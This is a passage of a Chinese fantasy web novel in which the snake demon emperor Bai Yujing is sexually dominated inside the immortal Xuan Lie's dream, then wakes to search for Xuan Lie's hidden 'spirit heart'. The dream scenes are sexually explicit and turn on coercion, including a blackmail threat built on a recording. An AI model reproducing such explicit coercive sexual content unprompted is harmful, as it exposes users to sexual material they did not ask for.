白玉京在心中喊得嗓子都快哑了,面上却不受控制地嗤笑道:“放心,本座便是被阿衡克死,也是本座心甘情愿的,此事就不劳仙尊费心了。” ……白卿卿,你可真是条绝世的蠢蛇。 话出口的瞬间,白玉京当即被自己蠢得失去了所有力气,放空大脑呆呆地僵在那里。 妖皇宫内霎时变得格外安静,须臾,白玉京突然听到身旁的玄衣之人冷笑了一声,不紧不慢地重复那两个字:“阿衡?” 刹那间,白玉京汗毛倒立,意识突然前所未有地挣扎起来。 玄冽,你个只敢在梦里觊觎本座的懦夫! 但本座不跟你一般计较了,也不想看你梦里到底发生什么了……放本座出去! 他绝望的呐喊没有得到丝毫回应,下一刻,妖皇大人尊贵的衣袍被人一把扯开,华贵的里衣瞬间暴露在两人视线中。 不、不要—— 隐约猜到了即将发生的事情,白玉京心下一颤,羞耻得险些哭出来。 在内心深处,他其实是一条无比保守且忠贞的小蛇,在他的认知中,这种事情理应在一系列庄严肃穆的仪式后,才能一起与心爱之人完成……怎么能在如此□□不堪的梦境中随意交出去? 然而他的理智无比抗拒,他那丢人现眼的身体却无比欢欣雀跃地迎了上去。 是夫君的气味……喜欢、好喜欢…… 只要夫君愿意……在哪里都可以享用卿卿。 白玉京绝望地看着眼前的一切,然而他却更加绝望地意识到,自己谁也怪不了,只能怪他自己。 毕竟,是他自己自投罗网,非要闯入对方梦境的,没有任何人逼他。 对于修真者来说,梦境相当于小乾坤,梦境之主对其梦的控制能力甚至强于自己的小乾坤。 对于妖修来说也是如此,尤其是对于白玉京这种境界的妖修来说,他但凡不愿意,没有任何人能掌控他的梦境。 所以,虽然白玉京自己根本不愿意承认,但连小天道都看透了他的心思——之前那十日的沉沦,完全是他自己心甘情愿,甚至乐见其成的。 玄冽解衣服解到一半,突然停下动作。 “.……?” 白玉京一怔,正当他以为对方良心发现打算放过自己时,那人突然打了个响指。 下一刻,锦裘之内层层叠叠的里衣瞬间消失得无影无踪,白玉京就这么猝不及防地暴露在空气中。 “……!?” 白玉京活了八百年,万万没想到梦境居然还能荒诞成这个样子,一时间惊呆了。 然而,还没等他从震惊中回神,那人好整以暇地分.开他的双腿,将他摆成适合展示的完美姿态后,周身的气息居然紧跟着发生了改变。 熟悉的气息烟消云散,陌生的气息却扑面而来,白玉京当场僵在了原地。 他的大脑被突如其来的变故惊得彻底失去了思考能力,一时间完全没发现有什么古怪之处。 ——自己在玄冽梦境中用的可是原身,对方为什么会如此笃定,妖皇白玉京会和蛇妖卿卿一样,对他气息的改变产生反应? 可惜这么大的漏洞摆在面前,白玉京却陷入了几近崩溃的边缘,对此丝毫未察。 如今妖皇宫内,一共有两道完全南辕北辙的气息。 一道,是白玉京无比熟悉的风雪之气,那是他在玄冽身上闻了几百年的气息,绝对不可能认错。 可另一道,那道更近在咫尺、更加让他崩溃的气息,却是完全陌生的肃杀血气。 他那愚笨的身体显然无法处理这种情况,于是自顾自地按照气息,将身边的男人当做了彻彻底底的陌生人。 陌生且冰冷的手指肆无忌惮地揉捏着他的腿肉,甚至展览一般,正对着远处那个玄冽。 白玉京瞳孔骤缩,巨大的荒诞与羞耻瞬间席卷了他的所有理智。 他要当着夫君的面,被别的男人给…… 他紧张得几乎崩溃,在心底呜咽着求饶。 不要、不要……求你……求你至少不要当着夫君的面……求求你…… 偏偏梦境不以他的意志为转移。 在远处那个玄冽的凝视下,身旁人轻而易举地拨开了他光洁柔软的大腿。 然后,白玉京彻底僵在了皇位上。 由于登临妖主之位时他尚且年少,恐不能服众,所以为了展示妖皇的威严,白玉京坐在皇位上时常分开双腿,以彰显居高临下的桀骜之姿。 然而,这个习惯眼下却成了让他羞愤欲绝的存在,原因无他——这种坐姿实在是太方便向远处那人展示了。 鞋袜随着那人的第二个响指也消失得无影无踪,圆润光洁的脚趾再藏不住,无力地绷紧在绒毡上,颤抖着向下。 不要看、求夫君不要看……呜——! 可怜的美人一时间连表情都有些控制不住,就那么无助地仰着脸,任身旁的“陌生”男人肆意亲吻着他的唇舌。 怎么会……怎么会这样…… 生理性的眼泪从眼角滑落,白玉京呜咽间宛如从水中捞出来一样,看起来格外可怜。 然而,就在他如此崩溃不堪的情况下,玄冽居然依旧不愿意放过他。 梦境的故事继续推演,远处的白衣仙尊冷冷道:“既然妖皇大人还是这么执迷不悟,那本尊便拭目以待了。” 言罢,他竟和当年一样挥袖转身,抬脚便要离去。 那道熟悉的风雪之气与自己渐行渐远,白玉京一下子被吓出了生理性的过激反应。 夫、夫君……不要走! 他蓦地夹紧那人的手腕,脚尖踮在湿透的绒毡上,整个人不受控制地颤栗起来。 身旁人一顿,似是没想到自己只是离开便能给他带来这么大的反应,忍不住低下头,吻了吻他收不回去的殷红舌尖。 过了足足有一刻钟那么久,白玉京尚未在灭顶的刺激中彻底回神,他的身体便尽职尽责地继续扮演起那一日的自己:“站住……本座让你走了吗?” 玄冽闻言竟当真站住,回头看向他。 “想来就来,想走就走……仙尊大人难不成是把本座的妖皇宫,当作你自己的寝殿了?” 说着,他在身旁人“好心”的搀扶下,踩在湿透的绒垫上摇摇欲坠地站了起来。 没有鞋,甚至都没有裤子。 傲慢矜贵的美人就那么赤着脚,踩在狼藉不堪的绒毯上,一步步向那人走去。 现实中桀骜不驯的妖皇,在某人狎昵的梦境中,一下子变成了淫靡娇蛮的笨蛋人偶。 白玉京只恨不得给当年的自己跪下,让他别再去挑衅玄冽了。 可惜梦境根本听不到他的心声。 “既然仙尊这么不喜欢我们家阿衡,”他走到玄冽面前站定,露出了一个恶毒而娇艳的笑容,“那便劳烦仙尊大人……为阿衡赐福吧。” 言罢,强大且磅礴的妖力蓦然在整个妖皇宫内散开,彻底封锁了一切出口,俨然一副玄冽不答应便不让对方离开的架势。 白衣仙尊闻言神色骤然冷了下去,不过倒是和当年发生的事实一样,没做什么其他出格之事。 然而,站在白玉京身边那个玄冽可就没这么纵着他了。 捏着他的下巴低头便亲了上来,另一只手则顺着他的尾椎蓦然向下—— “……!!” 近在咫尺之下,两道截然不同的气味裹挟着他。 白玉京被人亲得几乎站不住,浑身不住地颤抖,很快便踩在软垫上摇摇欲坠起来。 不要当着夫君的面这样……不要再亲了—— 他那丢人现眼的身体只恨不得当场逃出男人桎梏,立刻扑进丈夫怀中表忠心。 为什么、为什么只是在一旁看着……夫君…… 玄冽眸色晦暗不明地打量着眼前发生的一切,直到那出言不逊的笨蛋美人被惩罚得软到在自己怀中后,才开口道:“好。” 白玉京愣了三秒才意识到他在说什么——堂堂仙尊,因为自己的一句挑衅,竟然当真答应了给自己养的小鬼赐福。 这和现实之中发生过的事一模一样,二百年前那一日确实如此。 其实不止那一次,回想过往的五百年,玄冽总在骂他愚蠢之后,答应他一切不合常理的要求……自己当时怎么就没发现呢? 白玉京一边走神,一边按照梦境的约束,用神识同那小鬼传音道:“阿衡,来正殿一趟。” 不知道是终于被人亲服了,还是彻底被梦境的意志给同化了,说完此话后,白玉京竟然有些无法共情当年的自己。 ……自己二百年前不会脑子真有问题吧? 因为觉得妖皇的威严被践踏,所以不愿意让玄冽如此轻松地想来就来想走就走——这些白玉京其实都能理解,毕竟时至今日他还是不想让这王八蛋这么自在。 但是,自己脑子到底哪根筋搭错了,要为了一个捡回来的小鬼跟玄冽这么抬杠!? 他当时正跟玄冽较劲,耀武扬威之下完全没看出来什么异样。 可眼下,当白玉京以一种微妙的旁观者视角重新审视这一幕时,他却看到玄冽几不可见地垂了下眼睛。 他似乎是有些没料到,白玉京竟能为一个相处不到一个月的鬼修如此要求自己,因此有些淡淡的落寞。 白玉京见状一怔,蓦地泛起了一些说不出的滋味。 那巫酒名为“苦情长”,饮下那么多杯酒后,玄冽本该回忆起一些让他痛苦不堪的过往,从而在梦中一件件改变,去消解那些苦痛。 可是,玄冽真正在梦境中回忆起来的,却是这些对于白玉京来说堪称鸡毛蒜皮的小事。 两人相识的这五百年来,白玉京不知道捡过多少孩子,期间跟玄冽更是起了不知道多少次冲突。 他每次和这人吵过架甚至大打出手过之后,用不了两天就会将此事抛之脑后,从未往心里去过。 谁知道这臭石头居然能记这么久……还记得这么清楚…… 想到这里,他忍不住在心底泛起了一点微妙的愧疚,甚至为此对过去的自己产生了一点埋怨。 所以自己当时是真的脑子有问题吧……那白眼狼小鬼配和玄天仙尊相提并论吗? 自己到底怎么想的,还让玄冽给他赐福……玄冽都没给他赐过福! 白玉京心下正质问着当年的自己,嘴上却不受控制道:“多谢仙尊体谅。阿衡算是我的小徒弟,以仙尊与本座的交情,不会连这点小事都不帮忙吧?” ……别阿衡了,算我求你了大哥。 玄冽收回视线看了他一眼:“你什么时候收的徒弟?” “这就不劳仙尊费心了。”白玉京笑盈盈道,“难道本座收个徒弟还要跟仙尊打招呼吗?” “本座又不是你老婆,仙尊大人管得未免太宽了一些。” “……” ……自己这五百年来,在玄冽面前一直都这么勇敢吗? 最终,玄冽和二百年前一样,收回视线什么都没说。 梦境之中,白玉京那点自小便养成的毛病一览无余。他其实是一个很容易被人牵着鼻子走,又很容易心软的小蛇,他在愧疚之下,甚至都忘了自己眼下的可怜处境。 直到身旁人突然抬手拢紧他的衣服,他才猛的回神。 ……不对,自己没事心疼玄冽干什么?世界上哪有鸡没事心疼黄鼠狼的? 还有,这人突然给自己穿衣服干什么?良心发现了? 白玉京正狐疑着,却见那黑衣仙尊拢好了他上半身的锦裘后,攥着他的手腕解下了缠在上面的冰蓝翡翠串珠。 白玉京有些不明所以地用余光扫过去。 …… 这人又想干什么? 下一刻,玄冽竟单膝跪地,白玉京吓了一跳,下意识想后退,奈何他的身体不听使唤,只能眼睁睁看着对方跪在他面前.…… !? 白玉京眼前一黑,整个人险些昏过去。 这流氓王八蛋下流东西……! 他在心中穷尽此生所学,恼羞成怒地把玄冽骂了个狗血喷头。 面上却只能乖巧地像个人偶一样,任人将先前褪下的衣服一件件给他穿好。 全部打扮妥帖后,梦境的戏幕终于开始继续运转。 一个双目漆黑,面容清秀的鬼修从侧殿走了进来。 玄冽见他进殿居然不行礼,不由得蹙了蹙眉。 那小鬼对他熟视无睹,径自走到白玉京身旁,一言不发地便抱住了他的腰。 他死时只有十六岁,再加上生前家中贫苦,因此他个子并不高,仅到白玉京胸口。 “阿衡。”白玉京亲昵地将人搂到怀中,温声笑道,“还不过来见过仙尊。” 别抱他了,算我求你了大哥,能不能赶紧松开他……你但凡看下旁边那个玄冽的脸色呢? 那小鬼闻言竟抬眸看了眼玄冽,冷冷道:“这种浑身带煞的人也配称为仙尊?” ……他不配难道你配吗!? 不久前还被玄冽欺负得在心中大骂对方的白玉京闻言一怔,随即在心下勃然大怒。 一个阴沟里爬出来的小鬼,也配来评价玄冽!? 奈何跨越了足足两百年后,白玉京甚至都不能共情当时的自己。 “童言无忌,童言无忌。”白玉京护崽子一样把人往怀里搂了搂,轻轻拍了拍那人的后背,笑道,“还请仙尊莫怪。” 玄冽一言不发地看了那鬼修半晌,突然道:“你想要什么样的赐福?” 那小鬼扭头看向白玉京,眸底尽是可怖的黑暗:“我要和他永远在一起,生生世世都不分离。” 白玉京:“……” 玄冽冷冷道:“师徒之间不可能永远在一起。” “那就不做师徒。”连衡说着竟埋在白玉京怀中,死死抱着他,将脸贴在他的胸口道,“我要娶师尊做我的妻子,让他生生世世都和我在一起。” 白玉京:“……” 白玉京到现在还记得,自己当时闻言压根没当真,只当是小孩子说胡话,甚至他还为此感到了几分欣慰,以为自己终于养到了贴心孝顺的孩子,只是不懂得表达而已。 然而,此刻他站在原地,一时间却被自己当时瞎了眼一般的笨蛋模样给气笑了。 还有这小鬼也算是个人物,居然敢当着玄冽的面扬言要娶自己当老婆,实在是勇气可嘉。 不过笑完之后,白玉京心底却蓦地泛起了一阵近乎苍凉的绝望,随即满脑子只剩下两个字——完了。 全完了。 他要为自己二百年前的愚蠢付出代价了。 而后,果不其然。 一片静谧之中,黑衣的玄冽突然冷笑一声,抬手直接捏爆那小鬼的头,鬼气瞬间炸了白玉京满怀。 先前演绎的一切,就像是决定最终刑罚之前宣读的罪状一样。 如今,“罪状”彻底明了,梦境之主亲自出手结束了这场闹剧。 鬼气彻底消散的刹那,两双眼睛齐齐看向白玉京。 “……!” 白玉京被凝视得头皮发麻,下意识后退了几步,却因为方才某人做的手脚,一时不察骤然跌倒在身下的绒毯上。 他还未来得及思考自己为什么能自主活动,下一刻,两人抬步缓缓向他走来。 不要、别过来……夫君救救我…… 可怜的美人睫毛微颤,身体不受控制地向白衣玄冽倾斜,显然是想扑进丈夫怀中撒娇。 然而,似是察觉出了他的依赖,玄冽脚步一顿,抬手打了个响指。 而后,原本萦绕在白玉京身侧的最后一缕熟悉气息,竟也彻底消散在了梦境中。 白玉京呼吸一滞,不可思议地睁大眼睛,眼底尽是愕然。 那种感觉就像是黑暗之中的唯一光亮也被人无情抹去,两道陌生的气息充斥在妖皇殿内,可怜的小蛇彻底闻不到那股熟悉的气味后,终于承受不住彻底崩溃了。 不要……别这样……求求你…… 清醒之时无论如何也不愿意承认的忠贞本性,在崩溃后显露无疑。 他还没有和夫君进行过周公之礼……怎么能被陌生男人…… 陌生而浓烈的气息越来越近,情急之下,白玉京被吓得变出蛇尾,扭腰就要逃跑。 然而,在这种情况下露出蛇尾,无异于直接把趁手的把柄往身后人手中递。 玄冽拽住手下雪白圣洁的尾尖,一把将人拖了回来。 那处缺失蛇鳞的部位随着拖拽,刚好碾过砸在地上的冰晶串珠。 “——!” 突如其来的刺激让白玉京瞬间失去了所有逃跑的能力,只能无力地攥紧手下绒垫,喘着气思考对策。 身后两人一左一右走到他身旁站定,白玉京呼吸骤停,颤抖着僵硬回眸。 随即,在他不可思议的目光中,其中一个玄冽拿出了一只无比眼熟的血玉手镯,反手放在远处的绒毯上。 无数只“眼睛”立刻从血玉之下浮现,一眨不眨地凝视着他。 “你再敢逃一次,”玄冽低声威胁道,“本尊就把它等下记录的一切,交给你夫君。” “……!?” 作者有话说: 浴巾:……恨你老己,明天也不见 爆字数的一章,一边写一边疯狂地和小蛇道歉,对不起宝宝对不起宝宝[爆哭][爆哭]不是故意欺负你的,但你实在是太好欺负了 第32章 灵心 以白玉京浅薄的见识, 他做梦可能也没想到还有这种威胁人的手段。 可怜的妖皇大人被彻底打碎了认知,整个人呆呆地僵在原地。 他用余光瞟见那枚玉镯,吓得下意识想用蛇尾把自己裹起来, 奈何他的尾尖正被玄冽攥在手中,他根本不敢用力抽, 生怕忤逆对方后遭到更严厉的惩罚。 最终,他只能攥着衣摆瑟缩着往后退了几分, 小声哀求道:“求求、求求你们……不要告诉他……” 说完, 他害怕玄冽对他方才逃跑的态度不满意, 连忙又补充道:“我会听话的……不要告诉他……” 玄冽闻言竟当真停住动作:“不要告诉谁?” 另一个玄冽冷声道:“说清楚一些。” 两道一模一样的声音交叠在耳边, 无时无刻不在提醒着白玉京眼下的处境。 要、要两个一起吗……会坏掉吧…… 他羞耻地卷起蛇腹, 口不择言地回答道:“不要、不要让我夫君看到……” “他暂时不会看到。”玄冽难得善解人意地答应了, “前提是你要听话。” 白玉京闻言立刻点了点头, 挂着泪珠表示自己会听话的。 往日尊贵无比的妖皇大人此刻终于显露出和他年龄相匹配的脆弱,他无助地瑟缩在绒毯上,雪白的尾巴被人攥在手中,鬓发凌乱地黏在脸上, 看起来分外可怜。 身着黑衣的玄冽一言不发地站在一旁, 低头晦暗不明地看着这一幕。 哪怕是在梦中,他也清楚地知道这一切只是他自己的臆想。 因为现实不是这样的。 那一日, 玄冽自然不可能答应那种荒谬的赐福, 但也没有当众将那小鬼打杀。 以白玉京当时溺爱幼崽的心理和实力, 如果玄冽当真出手,那小蠢蛇也会硬拦下来。 不过白玉京显然也只当那小鬼是在向他撒娇, 没有采纳对方的赐福请求。 最终, 妖皇大人亲自拍板, 要求玄冽赐予那小鬼永生不灭的魂魄和坚强勇敢的意志。 白玉京一拍脑门之下什么都想给他最好的, 他总觉得连衡因为出身与经历有些自卑,因此特意要求玄冽赐福他的意志。 玄冽也没反驳,就那么按照他的要求做了。 只不过,白玉京不知道的是,玄冽确实按照他的要求赐予了连衡坚强勇敢的意志,只不过有些过于勇敢了。 在玄冽有意地操控之下,原本可能要一年才能滋生出的野心,随着“赐福”硬是被压缩到了一个月。 那幽暗卑劣的欲望在白玉京看不到的地方迅速膨胀,最终酿成了那场结局。 如果时间当真拖到一年之后,白玉京看在旧情的份上说不定会更加心软,也不至于在众目睽睽之下直接出手将那小鬼打杀。 只可惜,那不知天高地厚的小鬼挑衅了不该挑衅的人,他的命运中自然也就没有如果二字了。 他也许该为此感到荣幸,毕竟堂堂玄天仙尊亲自出手算计他,甚至为此事败露之后做好了万全的准备,这种殊荣可不是哪个鬼都能享受的。 至于玄冽到底做了哪些准备,其实也很简单,如果白玉京事后当真发现不对劲,最终溯源到他这个“罪魁祸首”身上,他也完全可以用“那小鬼命薄福浅,承受不住他的亲自赐福”来应付。 好在以白玉京的脑子,压根没察觉出有什么不对劲的地方,备用的方案也就没有用上。 不过,虽然那小鬼最终为他自己的行为付出了代价,但赐福当日,玄冽却只能眼睁睁看着对方在他面前耀武扬威。 甚至,他只能隐忍不发地任由白玉京搂着那面色青白的少年,笑盈盈地将他请出了妖皇宫。 那人最终转身回宫时,连回头看他一眼都没有。 “……” 白玉京突然一颤,不知道为什么感到脊背上泛起来了一丝凉意。 “新仇”与“旧恨”叠加在一起,使得玄冽刚刚泛起的那点心软一下子烟消云散了。 他缓缓攥紧手中的尾尖,满意地看向越来越惶恐不安的美人。 之前桀骜不驯要将他扫地出门的妖皇,此刻软在地毯上,颤抖着睫毛向他哀求道:“求、求求你……至少不要两个人一起……” 玄冽俯下身,掐住他的脸颊道:“为什么不可以?” “……” 白玉京有些难以启齿地垂下眼睛,仿佛只有一个人,他心底那点背叛的罪孽感便能更轻一些。 他虽然没有回答,但玄冽还是一眼看穿了他的心思,颇为贴心道:“既然不愿意一起,那你就选一个。” 白玉京闻言忙不吝向自己更熟悉的白衣玄冽靠去,抬手小心翼翼地拽住对方的衣襟,生怕自己落到另一个看起来很恐怖的玄冽手中。 然后—— 他拽的那个玄冽就消失了。 ……!? 被欺骗的美人不可思议地睁大眼睛,半晌僵硬地扭过头,含着泪看向那个向自己走来的玄衣之人。 骗子……玄冽这个王八蛋骗子…… 白玉京在心下大骂,面上却半句话不敢说,就那么僵硬着任由对方将他从地毯上抱起,起身向皇位走去。 昔日代表着妖族至高无上尊贵的王座,如今却成了玄冽享用他的器皿。 白玉京刚被人放在皇位上,立刻便不自然地将尾巴缠在了扶手上。 柔软雪白的蛇尾紧张地摩擦过一颗颗硕大的宝石,最终他控制不住地把尾尖递到嘴边,紧张得张嘴便想咬下去。 ——还是像小时候一样,坏毛病一个也没改掉。 “尾巴吐出来。” “腿也变回来。” “……!” 陌生男人仿佛毫无感情般的命令,听得白玉京心下一颤,竟一下子软了腰身。 半晌,他咬着下唇乖乖地把腿变了回来,手却拽住自己仅剩的锦裘往下遮了遮。 因为刚刚倒在地上弄乱了鬓发,此刻的他显得格外可怜。 白玉京本来的容颜没有他故意变出来的那张脸那么娇艳,反而带着股不容亵渎的冷感,如果说那张他总觉得庸俗的脸宛如盛放的玫瑰,那他本来的容颜反倒更像是清透纯洁的百合。 只可惜,如今这张脸被泪水浸透后,彻底没了那股不可侵犯的纯洁感,漂亮得惊心动魄之余,更显得年少可怜。 玄冽捏着他的下巴欣赏了一会儿,才再次命令道:“放在扶手上。” 白玉京拽着衣摆一僵,半晌听话地将手放在扶手上,于是衣襟瞬间大开,一下子一览无余起来。 “腿也一样。” “……!” 白玉京夹着腿反应了足足三秒,才意识到这人的意思是让他把腿也放到扶手上。 那自己岂、岂不是…… 最终,他深吸了几口气,忍着巨大的羞耻,竟当真塌下腰,抬起小腿放在了扶手上。 做完这一切,白玉京咬着下唇别开脸,说什么都不愿意面对眼前的一切,简直纯情得可爱。 支在他身上的男人见状掐着他的脸颊将他掰过来,明知故问道:“躲什么?” 如此近的距离下,白玉京心下猛地一跳,半晌用无比可怜的语气哀求道:“我什么都答应你,但你、你能不能不要再亲我……” “为什么?” 白玉京耳垂发烫,抿着唇不愿意回答。 “要为你丈夫守贞?” 他一下子被戳穿了心思,面色瞬间红了个透彻。 “掩耳盗铃。”玄冽面无表情地继续欺负他,“如果不亲吻便算守贞的话,你大可以怀着本尊的孩子,回去为你那无能的丈夫守贞。” “……!?” 面对如此显而易见的威胁,白玉京蓦然一颤,竟像是被戳到了心底的什么隐秘一样,当即露出了一声哭腔:“不、不行……!” “……” 玄冽猝不及防间被溅了一脸,见状不由得一顿。 ……反应这么大? 过往的梦境中,他年少的心上人可从来没有这么鲜活过。 正当玄冽隐约生出了些许怀疑时,那勉强控制住表情的美人含着泪祈求地看向他,只可惜眼底那点嗔怒却没完全藏下去。 ……更像了。 由妄念汇聚而成的梦境终究比不过真实,以往的梦境中,白玉京大概率很快便会妥协,绝对不会像眼下这般暗暗瞪他。 “既然不行就扭过来。” 白玉京咬着下唇扭过脸,眼底尽是敢怒不敢言的鲜亮。 “把舌头吐出来。” 他胸口起伏着喘了两口气,抬眸瞪他。 玄冽拿出那枚玉镯,什么都没说,只是放在了白玉京双腿之间的王座上。 “……!!” 卑鄙无耻的王八蛋……龌龊下流的臭石头! 面对如此明目张胆的威胁,白玉京心下痛骂,面上却连忙张开嘴,乖巧地吐出来一截柔软的小舌,以供对方享用。 玄冽掐着他的脸颊,低头便吻了上来。 陌生的气息扑面而来,白玉京感觉自己浑身上下几乎每一处肌肤都在抗拒。 他紧张得想夹腿,却被人掐着大腿硬生生掰开。 意识到对方想干什么后,他浑身一颤,从心底泛起了一股前所未有的慌张。 等、等等,他还没准备好—— 下一刻,可怜的美人倏地一僵,整个人瞳孔骤缩,滔天的刺激瞬间裹住了他的全部理智。 过了足足有一盏茶那么长的时间,白玉京才颤颤巍巍地回过神,满眼泪光中尽是不可思议 怎么、怎么会…… 为什么……为什么没有任何承诺,没有任何仪式,自己就这么不明不白地在玄冽梦中被…… 他挣扎着抓住身上人的衣襟,半闭着眼流下了不知道是委屈、羞耻,还是兴奋、难耐的眼泪。 丢人的身体不久前还在陌生的气息前装着矜持,可不到两下的功夫,它便先理智一步沦陷,就差主动贴上去了。 ……大着肚子上赶着到人梦中挨欺负就这么让你兴奋吗?世界上果然没有比你更蠢的小蛇了。 白玉京一边在心底痛骂自己,一边又难以控制自己的堕落与沉沦。 可是真的好舒服…… 涣散的瞳色在几乎要溢出来的爱恋中缓缓晕开。 对不起夫君……卿卿是条不忠贞的小蛇……呜…… 妖皇宫内不分昼夜,就这样过了不知道多久,久到整个妖皇宝座都变得滑腻不堪时,白玉京终于忍不住变出蛇尾,卷着身上人的脖子无意识地开始收紧。 然而,玄冽丝毫对死亡的威胁熟视无睹,就那么掐着身下人的腰继续动作。 又过了良久,玄冽突然停下了动作。 意识到了即将发生的事,意识涣散的美人抬手勾住他的脖子,软着腰便要往他身上贴。 然而,刚贴到一半,白玉京便被胸口处的摩擦感弄得回了几分神。 他下意识垂眸看去,却见玄冽精壮的身躯上却印着一道狰狞可怖的伤痕。 那好像是我留下的…… 此念头一出,他的大脑像是被冰水兜头浇下一样,瞬间清醒过来。 不、不对……自己还有正事要做! 涣散的瞳色终于恢复了些许清明,白玉京咬着下唇强迫自己尽快恢复清明。 现在是玄冽意志力最薄弱的时候,一旦错失这个机会,自己可能真的要在他梦里彻底沉沦下去,最终变成一条只会产卵的笨蛋小蛇,只能日日夜夜地大着肚子…… 想到这里,白玉京骤然打了个激灵,彻底清醒过来。 不行、不能再这么堕落下去了! 他咬着牙攀上玄冽肩膀,一边感受着体内发生的改变,一边盘算着动作的时机。 快要到了,不能沉迷、再坚持一下…… 就是……就是现在——! 白玉京一狠心,将尾尖递到嘴边猛地咬下! “……!!” 巨大的刺激终于在无尽的梦境中撕开了一道裂缝,而后天光乍破。 白玉京骤然从梦中惊醒,连忙撑着身下人的腹肌坐起,随即伏在一旁的琉璃几大口大口地喘息起来。 窗外星光璀璨,夜风顺着竹窗吹入阁内,扫得他身下骤然泛起一阵凉意。 “……” 白玉京瞳色涣散地看去,却见自己身下早已因为梦中之事而变得狼藉一片。 理智在微凉的夜风中逐渐回炉,他撑在琉璃几上面色几遍,一会儿由红转黑,一会儿从黑转红,最终停留在如锅底般的铁青上。 大着肚子送上门还能被人给睡服,要不是因为巧合都不愿醒来……你的脑子呢白卿卿?被狗吃了吗?! 白玉京一边唾骂自己的丢人,一边抬手关上那不住往里灌风的竹窗,随即咬着牙开始清理自己。 当他彻底把自己拾掇干净后,白玉京才软着腰起身,随即一屁股坐到玄冽的腹肌上。 “……” 他双手抱臂,居高临下地看着玄冽,新仇旧恨一起涌上心头,一时间眼神中尽是凶恶。 自己付出了这么大的代价,今天他倒要效仿姽瑶,把这石头的灵心挖出来看看到底是什么样子! 白玉京恶狠狠地在心底想到。 不过,在做坏事之前,得先把已有的隐患处理掉。 他暂时收回黏在玄冽身上的目光,垂眸取下手腕上的血镯。 然而他的理智虽然已经回炉,但身体显然不是这么想的。 一看见这个镯子,某处未被蛇鳞覆盖的地方便忍不住颤抖。 ……丢人现眼的东西! 白玉京没好气地将玉镯放在琉璃几上,顺手抹了道自己的血在上面,暂时遮蔽了它的窥视。 他抿着唇回眸,看着玄冽胸口狰狞可怖的伤口,半晌露出了一个微妙且恶毒的笑容。 下一刻,他翘起尾尖,势在必得般顺着伤口探进玄冽的胸腔。 然而,空空如也的触感却让白玉京猛的一顿。 ——那地方一如他第一次触碰时一样,空空荡荡的,根本就没有灵心。 白玉京一怔,心底骤然泛出了一股说不出的慌张与凉意。 怎么会这样? 玄冽根本就没生出灵心,难道从始至终,他都是在骗自己? 没有灵心的石头根本不可能有感情……所以,一切其实都是自己在一厢情愿。 此念头一出,白玉京面色空白地往后瘫坐下去,神情茫然得好似再一次被抛弃一般。 不过下一刻,腰后某种熟悉的炙热感却将他的思绪骤然给扯了回来。 这是…… 他下意识向身后摸了一把,意识到那是什么后,他面色爆红,仿佛被烧到一般骤然收回了手。 ——这下流的石头又在梦里梦到了什么!? ……不对。 白玉京一个激灵从羞愤中回神。 没有灵心的灵族不可能起这种反应……所以玄冽并没有骗自己。 一块刚悬起来的巨石砰然落地,白玉京猛地松了口气,大脑终于再次运转起来。 当人想要证实某种观点时,在脑海中寻找佐证的速度堪比白虹贯日。 很快,白玉京便从过往的记忆中挖出了一些端倪——本就没有任何古籍记载过,灵族的灵心应当本本分分地藏在胸腔中。 哪怕是有关大巫和灵主的传说中,也只说姽瑶剖其心,却没说从哪里剖的。 白玉京于沉思中蹙了蹙眉,他突然发现了这则传说中的一点问题。 ——以他和玄冽的关系他都找不到对方的灵心,若是初代灵主当真不爱大巫,那姽瑶为什么能在飞升前那么短暂的时间内,精准地剖出灵主的灵心? 由此,他不由得联想到大巫于妆奁之上留下的字样,难道这个传说,也是她有意为之的吗? 白玉京愁眉不展地思索了半晌,最终什么也没想明白,只能摇了摇头重新着眼于当下事。 “……” 看着面前在酒意之下陷入美梦的男人,白玉京只觉得屁股隐隐作痛,脸上阵阵发烫。 目前有一个好消息和一个坏消息,好消息是玄冽确实生出了灵心,坏消息是他没找到灵心在哪。 所以,他白白送上门去挨了一顿欺负,到头来却连灵心的影子都没看见,也算是千古以来第一人了。 ……不行。 白玉京咬牙切齿抽出尾巴,甩着尾尖思索起对策。 自己付出了那么大的代价才换来的机会,绝不能如此轻易地放弃。 快点,再好好想想,玄冽的灵心不在胸腔还能藏在哪?丹田吗? 思索着思索着,他便把尾尖塞进了嘴中。 白玉京无意识地吃了会儿自己尾尖上的心头血,在心中盘算了半天也没盘算出什么结果,最终他也懒得管三七二十一了,抬手就要去扒玄冽的裤子。 【娘亲……呀!】 白玉京被耳边突如其来响起的声音吓得险些厥过去,连忙止住动作,扯了一旁的被子盖住玄冽赤.裸的上半身,恼羞成怒道:【白妙妙!】 小天道在他腹中闪了两下,似是意识到自己干了错事,一下子闭了嘴。 【上次说话说到一半突然没音,把本座吓得还以为你怎么了,这次倒好,直接招呼都不打一声就开口,你想把本座吓死吗?】 【还有,说了多少次了,喊爹爹!】 【……对不起嘛,爹爹。】小天道乖巧道,【上次是妙妙饿昏过去了,所以没来得及和爹爹说。】 “……” 白玉京一肚子的怒火被这一句话尽数浇灭了,转而泛起了一阵愧疚。 ——自己怎么养的孩子,居然能让它饿昏过去。 【……那现在怎么又醒了,饿醒了?】 【现在不饿了。】妙妙乖乖道,【爹爹喝了父亲的心头血,妙妙也有力气了,就醒了。】 天道的食物果然是玄冽的心头血…… 不对! 白玉京猛地回神道:【谁是你父亲!】 身为被大人争吵波及到的孩子,小天道显得格外无辜:【那妙妙该喊他什么呀?】 蓦然回想起梦中自己被那人欺负的悲惨模样,白玉京一时间怒从心头起,恶向胆边生:【喊他叔叔。】 小天道闻言一下子沉默了,半晌道:【好的,爹爹喝了叔叔的心头血,妙妙也有力气了,就醒了。】 ……这称呼好像更奇怪了。 白玉京甩了甩头:【上次的话还没问完,我的梦里到底发生了什么?】 妙妙跟个只会复读的木偶一样:【妙妙也不知道,只是隐约听到爹爹在梦中喊父、喊叔叔夫君,还说求求夫君饶了卿卿吧……】 【爹爹现在教你做人处事的第一条原则。】白玉京连忙打断道,【没有证据的话,咱们不能随便乱说,知道吗?】 【妙妙没有乱说!】 被冤枉了的小天道立刻倒豆子一样道:【一开始爹爹一直在心中大叫不要让叔叔进你的梦,妙妙就想阻止叔叔进去,可是爹爹最终却让他进了,没有让妙妙进……】 说到这里,妙妙委屈巴巴地在他肚子里控诉道:【爹爹口是心非!爹爹喜欢叔叔不喜欢妙妙,爹爹偏心!】 白玉京:“……” 骤然被挑破藏在心底的隐秘,白玉京刹那间红了脸,连忙软下声音道:【爹爹没有不喜欢妙妙,除了阿姊外,妙妙是爹爹最喜欢的宝宝。】 